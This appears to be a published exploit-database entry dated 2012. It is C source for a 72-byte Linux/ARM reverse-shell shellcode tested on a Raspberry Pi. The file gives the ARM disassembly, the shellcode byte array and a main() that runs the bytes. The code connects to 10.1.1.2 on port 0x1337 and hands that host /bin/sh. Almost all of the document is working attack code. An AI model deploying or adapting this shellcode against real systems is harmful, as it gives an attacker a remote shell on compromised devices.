/* Title: Linux/ARM - reverse_shell(tcp,10.1.1.2,0x1337) execve("/bin/sh", [0], [0 vars]) - 72 bytes Date: 2012-09-08 Tested on: ARM1176JZF-S (v6l) - Raspberry Pi Author: midnitesnake 00008054 <_start>: 8054: e28f1001 add r1, pc, #1 8058: e12fff11 bx r1 805c: 2002 movs r0, #2 805e: 2101 movs r1, #1 8060: 1a92 subs r2, r2, r2 8062: 020f lsls r7, r1, #8 8064: 3719 adds r7, #25 8066: df01 svc 1 8068: 1c06 adds r6, r0, #0 806a: a108 add r1, pc, #32 ; (adr r1, 808c ) 806c: 2210 movs r2, #16 806e: 3702 adds r7, #2 8070: df01 svc 1 8072: 273f movs r7, #63 ; 0x3f 8074: 2102 movs r1, #2 00008076 : 8076: 1c30 adds r0, r6, #0 8078: df01 svc 1 807a: 3901 subs r1, #1 807c: d5fb bpl.n 8076 807e: a005 add r0, pc, #20 ; (adr r0, 8094 ) 8080: 1a92 subs r2, r2, r2 8082: b405 push {r0, r2} 8084: 4669 mov r1, sp 8086: 270b movs r7, #11 8088: df01 svc 1 808a: 46c0 nop ; (mov r8, r8) 808c: 37130002 .word 0x37130002 8090: 0301010a .word 0x0301010a 8094: 6e69622f .word 0x6e69622f 8098: 0068732f .word 0x0068732f 809c: 00 .byte 0x00 809d: 00 .byte 0x00 809e: 46c0 nop ; (mov r8, r8) */ #include #include #define SWAP16(x) ((x) << 8 | ((x) >> 8)) const unsigned char sc[] = { 0x01, 0x10, 0x8F, 0xE2, 0x11, 0xFF, 0x2F, 0xE1, 0x02, 0x20, 0x01, 0x21, 0x92, 0x1a, 0x0f, 0x02, 0x19, 0x37, 0x01, 0xdf, 0x06, 0x1c, 0x08, 0xa1, 0x10, 0x22, 0x02, 0x37, 0x01, 0xdf, 0x3f, 0x27, 0x02, 0x21, 0x30, 0x1c, 0x01, 0xdf, 0x01, 0x39, 0xfb, 0xd5, 0x05, 0xa0, 0x92, 0x1a, 0x05, 0xb4, 0x69, 0x46, 0x0b, 0x27,0x01, 0xdf, 0xc0, 0x46, /* struct sockaddr */ 0x02, 0x00, /* port: 0x1337 */ 0x13, 0x37, /* ip: 10.1.1.2 */ 0x0A, 0x01, 0x01, 0x02, /* "/bin/sh\0" */ 0x2f, 0x62, 0x69, 0x6e,0x2f, 0x73, 0x68, 0x00 }; int main() { printf("shellcode=%d bytes\n" "connecting to %d.%d.%d.%d:%hd\n", sizeof sc, sc[0x3c], sc[0x3d], sc[0x3e], sc[0x3f], SWAP16(*((unsigned short *)(sc+0x3a)))); return ((int (*)(void))sc)(); }